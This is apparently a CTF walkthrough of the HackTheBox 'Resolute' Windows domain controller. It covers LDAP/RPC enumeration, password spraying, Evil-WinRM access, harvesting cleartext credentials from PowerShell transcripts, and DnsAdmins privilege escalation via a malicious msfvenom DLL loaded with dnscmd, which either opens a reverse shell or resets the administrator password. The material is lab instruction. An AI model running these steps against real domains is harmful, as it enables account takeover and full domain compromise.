┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.169
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-25 04:13:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/24%OT=88%CT=1%CU=41520%PV=Y%DS=2%DC=I%G=Y%TM=658
OS:8FFF6%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S
OS:%TS=A)SEQ(SP=107%GCD=2%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=A)SEQ(SP=108%GCD=1
OS:%ISR=10B%TI=I%CI=I%II=I%SS=O%TS=A)SEQ(SP=108%GCD=1%ISR=10B%TI=I%CI=I%II=
OS:I%SS=S%TS=A)OPS(O1=M53ANW8ST11%O2=M53ANW8ST11%O3=M53ANW8NNT11%O4=M53ANW8
OS:ST11%O5=M53ANW8ST11%O6=M53AST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2
OS:000%W6=2000)ECN(R=Y%DF=Y%TG=80%W=2000%O=M53ANW8NNS%CC=Y%Q=)ECN(R=Y%DF=Y%
OS:T=80%W=2000%O=M53ANW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=
OS:)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%TG=80%W=0%S=Z%A=S%F=
OS:AR%O=%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T
OS:G=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD
OS:=0%Q=)T4(R=Y%DF=Y%TG=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=80%W=0%S=A%A=
OS:O%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=G%RUD=G)IE(R=Y%DFI=N%TG=80%CD=Z)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h46m56s, deviation: 4h37m09s, median: 6m54s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2023-12-24T20:13:49-08:00
| smb2-time:
| date: 2023-12-25T04:13:50
|_ start_date: 2023-12-25T04:10:42
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.169
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
Without creds, I can’t access any shares with smbmap or smbclient:
┌──(kali💀kali)-[~]
└─$ smbmap -H 10.10.10.169
[!] Something weird happened: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) on line 970
┌──(kali💀kali)-[~]
└─$ smbclient -N -L \\10.10.10.169
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.169 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Enumeration: LDAP - TCP 389
First, we can try an anonymous bind on the LDAP port using ldapsearch to look for some information. Here, we used the grep command to look for the userPrincipalName attribute that specifies the UPN of the users.
The anonymous bind worked and we got some usernames. Let’s dig a bit further, maybe there are interesting things in the description field of some of them. In real world scenarios, system administrators frequently store passwords for non-personal accounts in the description field of the account. However, this field is readable by all users by default in Active Directory.
I can get information about the users one by one with queryuser:
rpcclient $> queryuser 0x1f4
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Sun, 24 Dec 2023 23:11:43 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 31 Dec 1969 19:00:00 EST
Password last set Time : Sun, 24 Dec 2023 23:22:09 EST
Password can change Time : Mon, 25 Dec 2023 23:22:09 EST
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000075
padding1[0..7]...
logon_hrs[0..21]...
I can also get less information about all users with querydispinfo:
This provides not only a list of users, but there’s also an interesting comment for RID 0x457 (marco), Desc: Account created. Password set to Welcome123!.
Shell as User
I’ll use crackmapexec as an easy way to check credentials against SMB. First I try as marko, but it doesn’t work:
┌──(kali💀kali)-[~]
└─$ crackmapexec smb 10.10.10.169 -u marko -p 'Welcome123!' --continue-on-success
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
No luck. But, maybe another user is configured with this password as password reuse is fairly common.
Password Spraying:
Lets add these to a file called users.txt and try to spray the password we’ve found against this list:
┌──(kali💀kali)-[~/Desktop]
└─$ nano users.txt
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki
WinRM:
I don’t know if malanie is an administrator or in the Remote Management Users group, but it’s worth a shot to see if I can EvilWinRM to get a shell as melanie. It works:
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt0c44d--------------------------------
Privilege Escalation: melanie –> ryan
After looking around melanie’s home directory and not finding anything useful, I went to the filesystem root:
*Evil-WinRM* PS C:\Users\melanie\Desktop> cd \*Evil-WinRM* PS C:\> lsMode LastWriteTime Length Name---------------------------d-----9/25/20196:19 AM PerfLogsd-r---9/25/201912:39 PM Program Filesd-----11/20/20166:36 PM Program Files (x86)d-r---12/4/20192:46 AM Usersd-----12/4/20195:15 AM Windows
In PowerShell, ls is an alias for Get-ChildItem or gci. On windows, it’s often a good idea to run that with -force, kind of like running ls -a
*Evil-WinRM* PS C:\> ls -forceMode LastWriteTime Length Name---------------------------d--hs-12/3/20196:40 AM $RECYCLE.BINd--hsl 9/25/201910:17 AM Documents and Settingsd-----9/25/20196:19 AM PerfLogsd-r---9/25/201912:39 PM Program Filesd-----11/20/20166:36 PM Program Files (x86)d--h--9/25/201910:48 AM ProgramDatad--h--12/3/20196:32 AM PSTranscriptsd--hs-9/25/201910:17 AM Recoveryd--hs-9/25/20196:25 AM System Volume Informationd-r---12/4/20192:46 AM Usersd-----12/4/20195:15 AM Windows-arhs-11/20/20165:59 PM 389408 bootmgr-a-hs-7/16/20166:10 AM 1 BOOTNXT-a-hs-12/24/20238:10 PM 402653184 pagefile.sys
In diving through the various hidden folders, PSTranscripts seemed interesting. It contained one file:
*Evil-WinRM* PS C:\> cd PSTranscripts*Evil-WinRM* PS C:\PSTranscripts> dir -forceMode LastWriteTime Length Name---------------------------d--h--12/3/20196:45 AM 20191203
*Evil-WinRM* PS C:\PSTranscripts> cd 20191203*Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force*Evil-WinRM* PS C:\PSTranscripts\20191203> cat PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt**********************Windows PowerShell transcript startStart time: 20191203063201Username: MEGABANK\ryanRunAs User: MEGABANK\ryanMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)Host Application: C:\Windows\system32\wsmprovhost.exe-EmbeddingProcess ID: 2800PSVersion: 5.1.14393.2273PSEdition: DesktopPSCompatibleVersions: 1.0,2.0,3.0,4.0,5.0,5.1.14393.2273BuildVersion: 10.0.14393.2273CLRVersion: 4.0.30319.42000WSManStackVersion: 3.0PSRemotingProtocolVersion: 2.3SerializationVersion: 1.1.0.1**********************Command start time: 20191203063455**********************PS>TerminatingError(): "System error.">> CommandInvocation(Invoke-Expression): "Invoke-Expression">> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit$LASTEXITCODE } else { exit1 } }">> CommandInvocation(Out-String): "Out-String">> ParameterBinding(Out-String): name="Stream"; value="True"**********************Command start time: 20191203063455**********************PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents>"PS megabank\ryan@RESOLUTE Documents>**********************Command start time: 20191203063515**********************PS>CommandInvocation(Invoke-Expression): "Invoke-Expression">> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }">> CommandInvocation(Out-String): "Out-String">> ParameterBinding(Out-String): name="Stream"; value="True"**********************Windows PowerShell transcript startStart time: 20191203063515Username: MEGABANK\ryanRunAs User: MEGABANK\ryanMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)Host Application: C:\Windows\system32\wsmprovhost.exe-EmbeddingProcess ID: 2800PSVersion: 5.1.14393.2273PSEdition: DesktopPSCompatibleVersions: 1.0,2.0,3.0,4.0,5.0,5.1.14393.2273BuildVersion: 10.0.14393.2273CLRVersion: 4.0.30319.42000WSManStackVersion: 3.0PSRemotingProtocolVersion: 2.3SerializationVersion: 1.1.0.1********************************************Command start time: 20191203063515**********************PS>CommandInvocation(Out-String): "Out-String">> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"cmd : The syntax of this command is:At line:1 char:1+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException+ FullyQualifiedErrorId : NativeCommandErrorcmd : The syntax of this command is:At line:1 char:1+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException+ FullyQualifiedErrorId : NativeCommandError**********************Windows PowerShell transcript startStart time: 20191203063515Username: MEGABANK\ryanRunAs User: MEGABANK\ryanMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)Host Application: C:\Windows\system32\wsmprovhost.exe-EmbeddingProcess ID: 2800PSVersion: 5.1.14393.2273PSEdition: DesktopPSCompatibleVersions: 1.0,2.0,3.0,4.0,5.0,5.1.14393.2273BuildVersion: 10.0.14393.2273CLRVersion: 4.0.30319.42000WSManStackVersion: 3.0PSRemotingProtocolVersion: 2.3SerializationVersion: 1.1.0.1**********************
Nice, we found cleartext credentials for ryan in the transcript. Maybe this user has elevated privileges on the domain.
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression">> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
WinRM Shell:
┌──(kali💀kali)-[~]
└─$ evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'
┌──(kali💀kali)-[~]
└─$ evil-winrm -i megabank.local -u ryan -p 'Serv3r4Admin4cc123!'
*Evil-WinRM* PS C:\Users\ryan\Documents> net user ryanUser name ryanFull Name Ryan BertrandCommentUser's commentCountry/region code 000 (System Default)Account active YesAccount expires NeverPassword last set 12/24/2023 10:54:02 PMPassword expires NeverPassword changeable 12/25/2023 10:54:02 PMPassword required YesUser may change password YesWorkstations allowed AllLogon scriptUser profileHome directoryLast logon NeverLogon hours allowed AllLocal Group MembershipsGlobal Group memberships *Domain Users *ContractorsThe command completed successfully.
Ryan actually isn’t in Remote Management Users. But he is in Contractors, and Contractors is:
*Evil-WinRM* PS C:\Users\ryan\Documents> net localgroup "Remote Management Users"Alias name Remote Management UsersComment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members-------------------------------------------------------------------------------Contractorsmelanie
From my Kali box, I can also check the creds with crackmapexec:
┌──(kali💀kali)-[~]└─$ crackmapexec smb 10.10.10.169-u ryan -p 'Serv3r4Admin4cc123!'SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169445 RESOLUTE [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
crackmapexec can also check WinRM, and ryan can authenticate:
*Evil-WinRM* PS C:\Users\ryan\Desktop> dir*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txtEmail to team:- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
So any changes I make to the system will have to be completely used within a minute (or less). Good to keep in mind.
DnsAdmins:
Checking Permissions: Running whoami /groups we see that user ryan is in the DnsAdmins group:
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /groupsGROUP INFORMATION-----------------Group Name Type SID Attributes========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
The Microsoft Documentation describes this DnsAdmins as:
Members of DNSAdmins group have access to network DNS information. The default permissions are as follows: Allow: Read, Write, Create All Child objects, Delete Child objects, Special Permissions.
By default the DNSAdmins don’t have the ability to start or stop the DNS service, but it’s not unusual for an admin to give this group that privilege.
dnscmd:
Some googling around for this group led me to the lolbas page for dnscmd to load a dll over a UNC path. There’s a command to set a server level plugin dll:
The attack here is to tell the DNS service on Resolute to use my dll as a plugin. I’m going to use msfvenom to create a dll that will, on loading, connect back to me. When msfvenom creates this payload, it will connect back, and wait for that session to end before continuing. This will hang the DNS service on Resolute. That’s fine for a CTF, but would make for a bad day in a real pentest.
To get around this, you can create a payload that starts the reverse shell in a new thread, and then continues, so that the DNS server can continue to start. IppSec tells me he’s going to walk through creating this payload in his video today if you are interested to check that out.
Create Payload:
I’ll start with a basic msfvenom reverse shell payload as a dll. Defender is running on this host, and if I put the output file there, it does get eaten, but over a UNC path to a share it might be ok.
┌──(kali💀kali)-[~]
└─$ nc -nlvp 5555
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>type root.txt
type root.txt
3b872b------------------------------
Msfvenom: Change Administrator Password
Let’s create a simple DLL using msfvenom that changes the administrator account password.
┌──(kali💀kali)-[~]
└─$ cd /tmp
┌──(kali💀kali)-[/tmp]
└─$ msfvenom -p windows/x64/exec CMD='net user administrator Exodus55 /domain' -f dll -o hello.dll
As transferring this to the box would likely trigger Windows Defender or any other security solution, we can use impacket-smbserver to start an SMB server and host the DLL remotely. Note that the DLL was placed in the /tmp directory of the attacking machine.
Now, we can use evil-winrm and the ryan credentials to load our malicious DLL remotely. Next, we need to restart the DNS service in order to load our malicious DLL. Normally, DnsAdmins aren’t able to restart the DNS service by default, but it is likely that they would be given permissions to do this and on this domain and this is indeed the case.